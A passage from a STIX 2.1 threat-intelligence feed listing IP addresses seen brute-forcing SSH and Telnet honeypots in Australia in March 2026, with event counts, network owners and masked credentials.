      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 42624. Organisation(s): Global-Data System IT Corporation. Usernames observed (masked): ***, r**t, 3**********4, a****n, d***n. Passwords observed (masked): 1**4, !**********e, 1******8, 1******r, 3***********4.",
      "id": "indicator--84e5fa4f-03cf-422f-a3ad-004ea94063f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T01:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.196.8.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T01:15:14.000Z",
      "valid_until": "2026-04-22T01:15:12.000Z"
    },
    {
      "created": "2026-03-21T02:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--7ecd632e-5947-4d2e-9e20-5c4c9e7d08ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.43.18.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T02:15:13.000Z",
      "valid_until": "2026-04-22T02:15:11.000Z"
    },
    {
      "created": "2026-03-21T02:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264323. Organisation(s): OXMAN TECNOLOGIA LTDA.",
      "id": "indicator--13f4fcc5-d858-4939-98c5-064fdfa37675",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '138.121.246.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T02:15:13.000Z",
      "valid_until": "2026-04-22T02:15:11.000Z"
    },
    {
      "created": "2026-03-21T02:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--1be3e338-8868-4fd0-b5a9-75180263c1d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.135.44.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T02:15:13.000Z",
      "valid_until": "2026-04-22T02:15:11.000Z"
    },
    {
      "created": "2026-03-21T02:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 21859. Organisation(s): Zenlayer Inc. Usernames observed (masked): A*******************p, G************1, U***************************************************************************************************************0. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--28026509-1084-4841-9bda-976eb997f9b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.180.141.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T02:15:13.000Z",
      "valid_until": "2026-04-22T02:15:11.000Z"
    },
    {
      "created": "2026-03-21T02:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 21859. Organisation(s): Zenlayer Inc.",
      "id": "indicator--95e891a5-9eb4-45e2-a4c4-8c2aca59d083",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.180.141.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T02:15:13.000Z",
      "valid_until": "2026-04-22T02:15:11.000Z"
    },
    {
      "created": "2026-03-21T02:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 21859. Organisation(s): Zenlayer Inc.",
      "id": "indicator--5a76e15a-f83d-40f0-adb5-e111a28a70d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.180.141.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T02:15:13.000Z",
      "valid_until": "2026-04-22T02:15:11.000Z"
    },
    {
      "created": "2026-03-21T02:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 21859. Organisation(s): Zenlayer Inc.",
      "id": "indicator--3836e807-c82c-4fc0-9231-829940edfeea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.180.141.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T02:15:13.000Z",
      "valid_until": "2026-04-22T02:15:11.000Z"
    },
    {
      "created": "2026-03-21T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KZ. ASN(s): 48096. Organisation(s): Enterprise Cloud Ltd.. Usernames observed (masked): 3**********4, f***x, u********p, a**x, c***n. Passwords observed (masked): ***, 3***********4, 3**********4, 1**4, Y*******..",
      "id": "indicator--b88b2e92-e71f-4188-99a1-0d33e496c774",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.233.3.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T02:15:13.000Z",
      "valid_until": "2026-04-22T02:15:11.000Z"
    },
    {
      "created": "2026-03-21T02:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--8ca09de1-a827-43ff-a57b-82ac75363cbc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.148.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T02:15:13.000Z",
      "valid_until": "2026-04-22T02:15:11.000Z"
    },
    {
      "created": "2026-03-21T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): p******d.",
      "id": "indicator--9699b134-d09d-4135-8964-52b44b6a67a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.236.134.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T02:15:13.000Z",
      "valid_until": "2026-04-22T02:15:11.000Z"
    },
    {
      "created": "2026-03-21T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--d14e47c2-9203-4b88-99b9-210cfe5ae7a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T02:15:13.000Z",
      "valid_until": "2026-04-22T02:15:11.000Z"
    },
    {
      "created": "2026-03-21T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--9ed034f1-9d66-44e7-adba-72f193cb42ab",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T02:15:13.000Z",
      "valid_until": "2026-04-22T02:15:11.000Z"
    },
    {
      "created": "2026-03-21T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--37f601b4-2b4b-460b-8d80-c4270c3bda56",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T02:15:13.000Z",
      "valid_until": "2026-04-22T02:15:11.000Z"
    },
    {
      "created": "2026-03-21T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--009391c1-90f3-4663-9203-ef7ec88ebbc2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T02:15:13.000Z",
      "valid_until": "2026-04-22T02:15:11.000Z"
    },
    {
      "created": "2026-03-21T02:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--ee828333-c1c3-4212-9b6a-cb05249fa823",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T02:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T02:15:13.000Z",
      "valid_until": "2026-04-22T02:15:11.000Z"
    },
    {
      "created": "2026-03-21T03:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 55990. Organisation(s): Huawei Cloud Service data center. Usernames observed (masked): n**k. Passwords observed (masked): 1******8.",
      "id": "indicator--dbd80d8c-79c6-4868-b4e7-01f5e2c60cb4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '123.60.62.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T03:15:14.000Z",
      "valid_until": "2026-04-22T03:15:11.000Z"
    },
    {
      "created": "2026-03-21T03:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 39. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): ***, 1**4, 1***5, 1******8, a***n.",
      "id": "indicator--6e4bd7c2-08c6-41b8-9bc3-4de480bff387",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.174.109.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T03:15:14.000Z",
      "valid_until": "2026-04-22T03:15:11.000Z"
    },
    {
      "created": "2026-03-21T03:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 63. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): ***, 1**4, 1*******9, a***n, a******3.",
      "id": "indicator--135026d9-38f8-41ff-b906-ac2ca11258cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.182.226.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T03:15:14.000Z",
      "valid_until": "2026-04-22T03:15:11.000Z"
    },
    {
      "created": "2026-03-21T03:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 39351. Organisation(s): 31173 Services AB. Usernames observed (masked): a***n. Passwords observed (masked): a************e.",
      "id": "indicator--4ec999e6-f9a9-4874-92ca-ea7897c02e8e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '193.32.127.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T03:15:14.000Z",
      "valid_until": "2026-04-22T03:15:11.000Z"
    },
    {
      "created": "2026-03-21T03:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--fe74ef71-2817-4f58-987f-e7cdce70c290",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.80.2.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T03:15:14.000Z",
      "valid_until": "2026-04-22T03:15:11.000Z"
    },
    {
      "created": "2026-03-21T03:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--2cfd4978-f446-4a55-9197-88334935a516",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.212.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T03:15:14.000Z",
      "valid_until": "2026-04-22T03:15:11.000Z"
    },
    {
      "created": "2026-03-21T03:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--4ca69eda-ece6-4025-8967-ac6e4cf1f575",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.233.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T03:15:14.000Z",
      "valid_until": "2026-04-22T03:15:11.000Z"
    },
    {
      "created": "2026-03-21T03:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--a0020369-5e6f-47d9-8f0f-5c727df58be0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '60.23.238.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T03:15:14.000Z",
      "valid_until": "2026-04-22T03:15:11.000Z"
    },
    {
      "created": "2026-03-21T03:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--94414046-b7a4-43d6-a3b3-c6bb84885cec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T03:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T03:15:14.000Z",
      "valid_until": "2026-04-22T03:15:11.000Z"
    },
    {
      "created": "2026-03-21T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 272. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): 3**********4, r**t, s****h, t****r, u****u. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1****6, 1******8.",
      "id": "indicator--0cf8a178-03ab-47a6-9dff-0a9812afdc69",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '129.213.146.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T04:15:14.000Z",
      "valid_until": "2026-04-22T04:15:11.000Z"
    },
    {
      "created": "2026-03-21T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 55990. Organisation(s): Huawei Cloud Service data center.",
      "id": "indicator--e834318d-da76-44e3-a670-9814612da3b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.159.144.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T04:15:14.000Z",
      "valid_until": "2026-04-22T04:15:11.000Z"
    },
    {
      "created": "2026-03-21T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 266. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): 3**********4, r**t, s****h, t****r, u****u. Passwords observed (masked): 3***********4, 3**********4, 1**4, 1******8, A*******2.",
      "id": "indicator--b9920d2f-9ebf-4401-89e4-a8e9a851da5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.223.37.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T04:15:14.000Z",
      "valid_until": "2026-04-22T04:15:11.000Z"
    },
    {
      "created": "2026-03-21T04:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AM. ASN(s): 215421. Organisation(s): LikeNet LLC.",
      "id": "indicator--fc5e2e45-93bd-449d-948c-92349641f03b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '38.191.248.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T04:15:14.000Z",
      "valid_until": "2026-04-22T04:15:11.000Z"
    },
    {
      "created": "2026-03-21T04:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--5e2f6d3a-b311-4e18-903d-a3e5939d861a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.45.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T04:15:14.000Z",
      "valid_until": "2026-04-22T04:15:11.000Z"
    },
    {
      "created": "2026-03-21T04:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 33765. Organisation(s): TTCLDATA.",
      "id": "indicator--31b678ec-a7eb-4317-a7d5-c34fb6523112",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '41.59.58.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T04:15:14.000Z",
      "valid_until": "2026-04-22T04:15:11.000Z"
    },
    {
      "created": "2026-03-21T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, 5***************O, T*******2, h******!, r********6.",
      "id": "indicator--aa83a6bc-4c43-47fe-afd2-69959244c087",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.195.209.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T04:15:14.000Z",
      "valid_until": "2026-04-22T04:15:11.000Z"
    },
    {
      "created": "2026-03-21T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): s****h, 3**********4, d****y, h***n, r**t. Passwords observed (masked): 1**4, 1****6, 1******8, 3***********4, 3**********4.",
      "id": "indicator--d897491b-1b18-4222-8a7a-27df612ac723",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '52.172.177.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T04:15:14.000Z",
      "valid_until": "2026-04-22T04:15:11.000Z"
    },
    {
      "created": "2026-03-21T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--8945dbbd-ab2c-43e9-a1d1-ee0f0a24dcd1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '61.76.136.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T04:15:14.000Z",
      "valid_until": "2026-04-22T04:15:11.000Z"
    },
    {
      "created": "2026-03-21T04:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC.",
      "id": "indicator--5b9af4be-176b-4859-89b2-2f6f71363fad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '73.140.151.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T04:15:14.000Z",
      "valid_until": "2026-04-22T04:15:11.000Z"
    },
    {
      "created": "2026-03-21T05:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--d1b159c7-ab87-497a-8fae-f236cc469bb2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-21T05:15:15.000Z",
